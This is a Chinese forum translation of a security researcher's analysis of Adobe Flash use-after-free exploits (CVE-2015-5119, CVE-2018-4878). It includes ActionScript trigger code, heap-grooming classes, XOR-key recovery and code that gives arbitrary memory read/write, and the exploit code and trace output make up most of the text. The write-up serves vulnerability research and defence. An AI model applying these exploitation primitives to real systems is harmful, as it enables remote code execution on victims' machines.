首页
社区
课程
招聘
[翻译]Adobe Flash漏洞利用:从CVE-2015-5119到CVE-2018-4878
发表于: 2018-3-4 00:26 5369

[翻译]Adobe Flash漏洞利用:从CVE-2015-5119到CVE-2018-4878

2018-3-4 00:26
5369

Adobe Flash漏洞利用:从CVE-2015-5119到CVE-2018-4878




上周,据报道,一个exp(漏洞利用)被用来传播ROKRAT恶意软件。有趣的是,Flash exp“销声匿迹”了一段时间,现在又出现,在被一个APT组织利用。我们不禁想知道发生了什么变化,以及这个最新exp的原理。


在这篇文章中,我们将先介绍一个旧的Flash exp,然后了解这个最新的样本如何绕过Flash环境中的一些防御措施。


先来看看之前一个影响Flash防御措施的漏洞,CVE-2015-5119,通常被称为Hacking Team Flash 0day。


CVE-2015-5119原理

早在2015年7月,Hacking Team遭遇了一次数据泄露,一些内部电子邮件、应用程序源码和exp被公开,其中包含针对一个Flash 16的远程代码执行漏洞(即CVE-2015-5119)的exp。


该漏洞类型为“Use-After-Free”,意味着在没有更新对象引用的情况下内存被释放给Flash使用。来看一个可以触发漏洞的示例:

public class VulnSimple
{
static var _ba :ByteArray;
prototype.valueOf = function() {
_ba.length = 0x1000;
}
public static function TryExpl() :Boolean {
_ba = new ByteArray();
_ba.length = 0xfa0;
_ba[0] = new VulnSimple();
// here, _ba is pointing to free’d memory
return false;
}
}

编译该ActionScript代码,并使用Flash(版本:16.0.0.287)执行SWF,我们发现_ba ByteArray指向了释放的内存。


查看Flash的源码,我们可以了解产生这个漏洞的原因。首先,有一个长度为0xfa0的ByteArray,我们给它分配一个对象。查看相应的源码,会看到“ByteArrayObject :: setUintProperty”负责处理这个任务:

void ByteArrayObject::setUintProperty(uint32_t i, Atom value)
{
m_byteArray[i] = uint8_t(AvmCore::integer(value));
}

例子中“value”参数是一个对象引用,被传递给检查类型的“AvmCore :: integer”函数:

/*static*/ int32_t AvmCore::integer(Atom atom)
{
const int kind = atomKind(atom);
if (kind == kIntptrType)
{
…
}
else if (kind == kBooleanType)
{
…
}
else
{
// TODO optimize the code below.
return (int32_t)integer_d(number(atom));
}
}

然后参数被传递给“number”方法:

/*static*/ double AvmCore::number(Atom atom)
{
for (;;)
{
const int kind = atomKind(atom);
…
// all other cases are relatively rare
switch (kind)
{
…
case kObjectType:
atom = AvmCore::atomToScriptObject(atom)->defaultValue();
break; // continue loop, effectively a tailcall
}
}
//AvmAssert(0); // can’t get here
//return 0.0;
}

我们的对象被传递给“AvmCore :: atomToScriptObject”,它将该值转换回“ScriptObject”:

REALLY_INLINE /*static*/ ScriptObject* AvmCore::atomToScriptObject(const Atom atom)
{
AvmAssert(atomKind(atom)==kObjectType);
return (ScriptObject*)atomPtr(atom);
}

最后,调用“valueOf”属性:

Atom ScriptObject::defaultValue()
{
AvmCore *core = this->core();
Toplevel* toplevel = this->toplevel();
Atom atomv_out[1];
// call this.valueOf()
// NOTE use callers versioned public to get correct valueOf
Multiname tempname(core->findPublicNamespace(), core->kvalueOf);
atomv_out[0] = atom();
Atom result = toplevel->callproperty(atom(), &tempname, 0, atomv_out, vtable);
…
}

在“valueOf”函数中,我们强制重新分配ByteArray,但Flash指针“m_byteArray”没有被更新,这意味着在调用“valueOf”并重新分配内存后,“m_byteArray”变成悬挂指针。

通过Vector.<uint>利用 CVE-2015-5119

现在我们理解了这个漏洞,下面来看看它是如何被利用的。


在利用这种Flash漏洞时,我们想用一个对象来填充释放的内存,并且允许我们控制执行或修改内存…输入Vector.<uint>。Vector对象非常简单,初始化方法如下:

var v :Vector.<uint> = new Vector.<uint>(20);

初始化后,对象将包含以下内存布局:

[LEN] [METADATA_PTR] [uint 1] [uint 2] [uint 3] [uint X] …

可以在ActionScript中使用以下代码检索Vector.<uint>的长度:

v.length

该矢量的内容通过以下方式检索:

v[0]

现在要修改“Length”属性,我们发现有一个相当强大的R/W(读/写)原语。例如,如果能用0xFFFFFFFF填充“Length”属性的内存,我们就可以操控任意内存。


更新exp来展示这一点:

public function exploit() {
var a :Array;
var o :Object = new Object();
var ba :ByteArray = new ByteArray();
ba.length = 0xfa0;
o.valueOf = function() {
ba.length = 0x11000;
a = new Array(90);
for (var i:int; i < 90; i++) {
a[i] = new Vector.<uint>(0x3f0);
}
return 0x40;
}
ba[3] = o;
for (var i = 0; i < 90; i++) {
if (a[i].length != 0x3f0) {
AddToLog(“Modified Vector at Array Offset ” + i);
AddToLog(“Modified Vector length ” + a[i].length.toString(16));
}
}
}

我们采取了以下步骤:

  1. 创建一个新的ByteArray(ba),大小为0xfa0;
  2. 给ByteArray的偏移量3赋值,这会调用“valueOf”方法;
  3. “valueOf”方法更改ByteArray的长度,强制重新分配内存,但“ba”依旧指向原始分配的内存;
  4. 创建一些<uint>,大小为0x3f0,目的是迫使先前的ByteArray内存现在指向一个Vector.<uint>;
  5. 返回0x40,导致“ba”指针(现在指向一个<uint>)将“length”属性更新为0x40003F0;
  6. 通过检查不是原始0x3f0字节的“length”属性,在内存中找到被修改过的<uint>。


这导致了内存的任意读/写,使用户能够编写shellcode并强制执行。


Google Project Zero对抗措施

在2015年7月16日发布的一篇帖子中,Google Project Zero参考了Hacking Team的exp,并宣布他们已经与Adobe合作推出了一些强化Flash的方法。完整的帖子可在这里找到,其中介绍了3种强化方法:

  1. 更强的Flash堆随机化;
  2. <uint>缓冲区堆分区;
  3. <*>长度验证。


在这三种对抗方法中,上述的修改Vector.<uint>的length属性的技术,有两种方法可以对抗。首先,Vectors被移动到一个单独的内存区域,与任何可能允许篡改“length”属性的潜在溢出隔离。其次,在Vector对象中引入了一些检查,以确保如果“length”属性被修改,运行时将检测到这种修改并暂停执行。


这种长度验证方法是以XOR key实现的。与stack-canaries类似,Vector对象中的一些属性与一个key异或,并存储结果值,这是一个检测损坏数据的简单方法。


分析TEMP.Reaper exp

对抗措施发布后,事情似乎平静下来。然而,一个新的漏洞出现了,CVE-2018-4878


该漏洞的细节未公开,与许多安全研究人员一样,我们抓取了一个恶意软件的样本,并开始对样本进行逆向分析。


获取SWF文件并反汇编,我们发现在加载SWF时,会向C2服务器发出请求:



响应中包含一个key,该key可解密嵌入的SWF exp:



不幸的是,过程到此搁置。我们分析的所有样本中看到C2服务器都无法访问,意味着我们无法恢复100字节的XOR解密key来分析该exp。此外,那些幸运地拥有解密key的人不太愿意与他人分享,也就是说我们能做的只有等待细节被披露。


慢慢地细节开始被公开,以编辑过的部分截图和与该漏洞相关的帖子的形式出现,但没有显示获得R/W原语的路径。经过几个熬夜工作之后,我们能够重建漏洞并了解绕过对抗措施的一些情况。


分析CVE-2018-4878

首先,我们看看如何用一个简单的实例触发漏洞:

public function triggeruaf() : void {
var sdk :PSDK = null;
var dispatch:PSDKEventDispatcher = null;
sdk = PSDK.pSDK;
dispatch = sdk.createDispatcher();
this.mediaplayer = sdk.createMediaPlayer(_loc2);
this.listener = new MyListener();
this.mediaplayer.drmManager.initialize(this.listener);
this.listener = null;
}
public function runexploit() : void {
this.triggeruaf();
try {
new LocalConnection().connect(“foo”);
new LocalConnection().connect(“foo”);
} catch (e:Error) {
this.danglingpointer = new MyListener();
}
}
public class MyListener implements DRMOperationCompleteListener
{
public function MyListener()
{
super();
}
public function onDRMOperationComplete():void {
trace(“IN COMPLETE”);
}
public function onDRMError(major:uint, minor:uint, errorString:String, errorServerUrl:String):void {
trace(“IN ERROR”);
}
}

漏洞存在于DRMManager的“initialize”调用中,需要一个继承DRMOperationCompleteListener接口的对象。 在可以使用之前,通过将“this.listener”设置为NULL来释放对象,强制分配的内存由garbage collector(垃圾收集器)释放。


接下来,我们分配一个DRMOperationCompleteListener对象,并在“danglingpointer”变量中保存对其的引用。 这个对象被释放,但是“danglingpointer”变量仍然引用其内存,这意味着形成了一个use-after-free条件。


继续查看所披露的exp,我们看到加了一个计时器:

public function runexploit() : void {
this.triggeruaf();
try {
new LocalConnection().connect(“foo”);
new LocalConnection().connect(“foo”);
} catch (e:Error) {
this.danglingpointer = new MyListener();
}
this.timer = new Timer(100, 1000);
this.timer.addEventListener(“timer”, this.uafcheck);
this.timer.start();
}

该计时器调用一个新的函数检查UAF条件:

public function uafcheck(param1:TimerEvent) : void {
if (this.danglingpointer.a1 != 0x31337) {
// If here, we know that we have a danglingpointer, so we stop the timer
this.timer.stop();
}
}

这个定时器用于定期检查我们的“danglingpointer”对象是否已释放,并且现在指向已释放的内存。最终情况就是,允许我们用另一个对象填充这个空闲空间。


在这一点上,情况变得有点朦胧。在我们发现的截图和示例中,似乎都没有分享生成填充此内存的对象的类(“Mem_Arr” 类)的细节。但是,我们确实找到了利用此漏洞的方法,重新让我们理解了该类的行为,但是如果你有该恶意软件的样本,我们有兴趣知道你和我们对该恶意软件漏洞利用分析的匹配度。


从网上的讨论中知道,用于控制Flash的原语是一个ByteArray,意味着我们要用一个ByteArray对象填充释放的内存:



但问题是我们知道由于大小的差异,ByteArray可能不会被分配到释放的DRMOperationCompleteListener对象的内存位置。然而,我们可以创建一个新的继承ByteArray类的类并添加其他属性来扩展对象的大小。为此,我们创建一个新的类“Mem_Arr”:

public class Mem_Arr extends ByteArray
{
var a1:uint = 0x31338;
var a2:uint = 0x31338;
var a3:uint = 0x31338;
var a4:uint = 0x31338;
var a5:uint = 0x31338;
var a6:uint = 0x31338;
var a7:uint = 0x31338;
var a8:uint = 0x31338;
var a9:uint = 0x31338;
var a10:uint = 0x31338;
var a11:uint = 0x31338;
var a12:Object = 0x31338;
var a13:Object = 0x31338;
var a14:Object = 0x31338;
var a15:Object = 0x31338;
var a16:Object = 0x31338;
public function Mem_Arr()
{
}
}

此外,修改“MyListener”对象以包含更多属性:

public class MyListener implements DRMOperationCompleteListener
{
var a1:uint = 0x31337;
var a2:uint = 0x31337;
var a3:uint = 0x31337;
var a4:uint = 0x31337;
var a5:uint = 0x31337;
var a6:uint = 0x31337;
var a7:uint = 0x31337;
var a8:uint = 0x31337;
var a9:uint = 0x31337;
var a10:uint = 0x31337;
var a11:uint = 0x31337;
var a12:uint = 0x31337;
var a13:uint = 0x31337;
var a14:uint = 0x31337;
var a15:uint = 0x31337;
var a16:uint = 0x31337;
var a17:uint = 0x31337;
var a18:uint = 0x31337;
var a19:uint = 0x31337;
var a20:uint = 0x31337;
var a21:uint = 0x31337;
var a22:uint = 0x31337;
var a23:uint = 0x31337;
var a24:uint = 0x31337;
var a25:uint = 0x31337;
var a26:uint = 0x31337;
var a27:uint = 0x31337;
var a28:uint = 0x31337;
var a29:uint = 0x31337;
var a30:uint = 0x31337;
var a31:uint = 0x31337;
var a32:uint = 0x31337;
var a33:uint = 0x31337;
var a34:uint = 0x31337;
public function MyListener()
{
super();
}
public function onDRMOperationComplete():void {
trace(“IN COMPLETE”);
}
public function onDRMError(major:uint, minor:uint, errorString:String, errorServerUrl:String):void {
trace(“IN ERROR”);
}
}

原因是为了确保“MyListener”和“Mem_Arr”对象的大小相似,从而允许我们用“Mem_Arr”替换释放的“MyListener”对象内存。


我们还将更新“uafcheck”函数,从“Mem_Arr”对象中转储内存,以确保我们处于正确的方向上:

public function uafcheck(param1:TimerEvent) : void {
if (this.danglingpointer.a1 != 0x31337) {
// If here, we know that we have a danglingpointer, so we stop the timer
this.timer.stop();
// Allocate our new extended ByteArray
var buffer = new Mem_Arr();
buffer.length = 0x512;
buffer.position = 0x31;
// Here, we have a MyListener object (this.danglingpointer)
// which is actually pointing to a Mem_Arr (buffer) object
// Memory dump of the Mem_Arr object
trace(“===============”);
trace(this._vuln2.a1.toString(16));
trace(this._vuln2.a2.toString(16));
trace(this._vuln2.a3.toString(16));
trace(this._vuln2.a4.toString(16));
trace(this._vuln2.a5.toString(16));
trace(this._vuln2.a6.toString(16));
trace(this._vuln2.a7.toString(16));
trace(this._vuln2.a8.toString(16));
trace(this._vuln2.a9.toString(16));
…
}
}

现在,执行此SWF,会发现我们的跟踪日志包含以下内容:

===============
db8293c
44
0
64414f44
6445f9e4
64414f40
6446acf8
db17f60
8805000
89ef910
0
0
31
64414f30
99d5020
0
0
64414f38
3
0
31338
31338
31338
31338
31338
…

第一眼看起来像DWORD的随机序列,我们看看具体是什么。首先,我们看到“0x31”的值,实际上这是更新的ByteArray/Mem_Arr对象的“position”属性值。


查看ByteArray类的源码,我们知道ByteArray由以下属性组成:

private:
Toplevel* const m_toplevel;
MMgc::GC* const m_gc;
WeakSubscriberList m_subscribers;
MMgc::GCObject* m_copyOnWriteOwner;
uint32_t m_position;
FixedHeapRef<Buffer> m_buffer;
bool m_isShareable;

其中一个属性是“m_position”,它包含“position”属性,这意味着我们处于正确的方向上,现在有能力操纵ByteArray的底层内存。


实际上使我们感兴趣的是在“m_buffer”属性中发现的一个指向包含以下内容的Buffer对象的指针:

public:
uint8_t* array;
uint32_t capacity;
uint32_t length;
// Thanks to “Guanxing Wen” for the following (https://www.blackhat.com/docs/eu-16/materials/eu-16-Wen-Use-After-Use-After-Free-Exploit-UAF-By-Generating-Your-Own.pdf)
uint32_t copyOnWrite;
uint32_t check_array;
uint32_t check_capacity;
uint32_t check_length;
uint32_t check_copyOnWrite;

这里我们看到Google Project Zero引入的对抗措施之一,一些用作XOR检查值的属性。 我们需要通过解引用(dereference)m_buffer的地址来访问此结构。


为此,我们添加了一个新的类:

public class Modify
{
var a1:uint = 0x31339;
var a2:uint = 0x31339;
var a3:uint = 0x31339;
var a4:uint = 0x31339;
var a5:uint = 0x31339;
var a6:uint = 0x31339;
var a7:uint = 0x31339;
var a8:uint = 0x31339;
…
}

并从我们的Mem_Arr类添加了对这个类的引用:

public class Mem_Arr extends ByteArray
{
var a1:uint = 0x31338;
var a2:uint = 0x31338;
var a3:uint = 0x31338;
var a4:uint = 0x31338;
var a5:uint = 0x31338;
var a6:uint = 0x31338;
var a7:uint = 0x31338;
var a8:uint = 0x31338;
var a9:uint = 0x31338;
var a10:uint = 0x31338;
var o1:Modify = new Modify();
var a12:Object = 0x31338;
var a13:Object = 0x31338;
var a14:Object = 0x31338;
var a15:Object = 0x31338;
var a16:Object = 0x31338;
public function Mem_Arr()
{
}
public function DumpPointer() : void {
trace(“–> ” + this.o1.a1.toString(16));
trace(“–> ” + this.o1.a2.toString(16));
trace(“–> ” + this.o1.a3.toString(16));
trace(“–> ” + this.o1.a4.toString(16));
trace(“–> ” + this.o1.a5.toString(16));
trace(“–> ” + this.o1.a6.toString(16));
trace(“–> ” + this.o1.a7.toString(16));
trace(“–> ” + this.o1.a8.toString(16));
trace(“–> ” + this.o1.a9.toString(16));
trace(“–> ” + this.o1.a10.toString(16));
trace(“–> ” + this.o1.a11.toString(16));
}
}

这里的想法是通过悬挂指针指向“m_buffer”地址来设置“Mem_Arr”对象的“o1”属性,然后通过“Modify”类来解引用对象。更新“o1”属性如下:

// Set o1 to the m_buffer
this.danglingpointer.a31 = this.danglingpointer.a15 – 0x10;
this.buffer.DumpPointer();

执行时,看见返回如下的记录:

–> 64414f28
–> 1
–> 8c34ab0
–> 512
–> 512
–> 0
–> b9baa73b
–> b179e899
–> b179e899
–> b179ed8b
–> 0
–> 0

这里可以清楚地看到ByteArray的长度为0x512,再次表明我们处于正确的方向。用这些值覆盖ByteArray对象:

–> 64414f28
–> 1
–> 8c34ab0   uint8_t* array;
–> 512       uint32_t capacity;
–> 512       uint32_t length;
–> 0         uint32_t copyOnWrite;
–> b9baa73b  uint32_t check_array;
–> b179e899  uint32_t check_capacity;
–> b179e899  uint32_t check_length;
–> b179ed8b  uint32_t check_copyOnWrite;
–> 0
–> 0

所以在这里我们有能力修改“Buffer”对象的底层内存。


有趣的是,我们在这里还看到,可以通过利用“check_copyOnWrite”的值(0 ^ KEY)来恢复XOR key,所以这里XOR key是b179ed8b。


在“Mem_Arr”中添加一个新方法来更新“m_buffer”,使其指向0x00000000的基址,并保持0xFFFFFFFF的限制:

public function UpdateBuffer() : void {
var xorkey = this.o1.a10;
// Set our address to 0, and length to max
this.o1.a3 = 0;
this.o1.a4 = 0xFFFFFFFF;
this.o1.a5 = 0xFFFFFFFF;
// Update the XOR check
this.o1.a7 = this.o1.a3 ^ xorkey;
this.o1.a8 = this.o1.a4 ^ xorkey;
this.o1.a9 = this.o1.a5 ^ xorkey;
}

就是这样......当触发时,Buffer长度被设置为0xFFFFFFFF,基址被设置为0x00000000,并且安全检查被更新。


使用这个原语,我们现在可以完全控制Flash环境,并且可以覆盖任意的内存位置:



Exp的源码在MDSec ActiveBreach GitHub.


后续

在重建上述漏洞的同时,我们发现了另一种有趣的方式来操作内存内容,无需使用ByteArray或Vector.<uint>并且无需处理XOR保护。


通过利用对象引用,就像上面用来读取“m_buffer”属性一样,有一个相当稳定的R/W原语。


例如,让我们修改上面的PoC以尝试读取任意的内存位置。在这里,将“o1”引用设置为0x41414141:

// Set o1 to 0x41414141
this.danglingpointer.a31 = 0x41414141 – 0x10;

并调用添加到Mem_Arr, RW()的新函数:

public function RW() : void {
this.o1.a1 = 0x31337;
}
this.buffer.RW();

再次执行:



这里可以看到,使用这个对象解引用,我们可以用我们选择的值覆盖任何内存位置。


同样,我们没有完整的恶意软件样本,但我们很想知道这种技术是否被原始exp利用。


在下一篇文章中,我们将研究如何使用上述原语执行自定义shellcode。那么从所有这些中得到了什么呢?首先是即使Adode将Flash加固了,漏洞利用依然可行,尤其是比如Use-After-Free,我们可以完全控制属性值并且可以泄漏内存。


其次,当你有能力修改对象时,有多种方法可以处理Flash中的任意内存,尽管在比如Vector.<uint>和ByteArray这些地方已经引入了对抗措施,但对象解引用还是有用。


这篇文章和相关研究由MDSec的Adam Chester完成。


原文链接:https://www.mdsec.co.uk/2018/02/adobe-flash-exploitation-then-and-now-from-cve-2015-5119-to-cve-2018-4878/

本文由看雪论坛翻译小组成员SpearMint翻译



[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2018-3-4 00:49 被SpearMint编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 65
活跃值: (27)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
2

接下来,我们分配一个DRMOperationCompleteListener对象,并在“danglingpointer”变量中保存对其的引用。 这个对象被释放,但是“danglingpointer”变量仍然引用其内存,这意味着形成了一个use-after-free条件。


跟着exp的漏洞行为也能理解,但没搞清danglingpointer指向的对象是谁释放的?还是这个对象new了之后一段时间没用自己释放了?
2018-3-8 10:37
0
游客
登录 | 注册 方可回帖
返回
//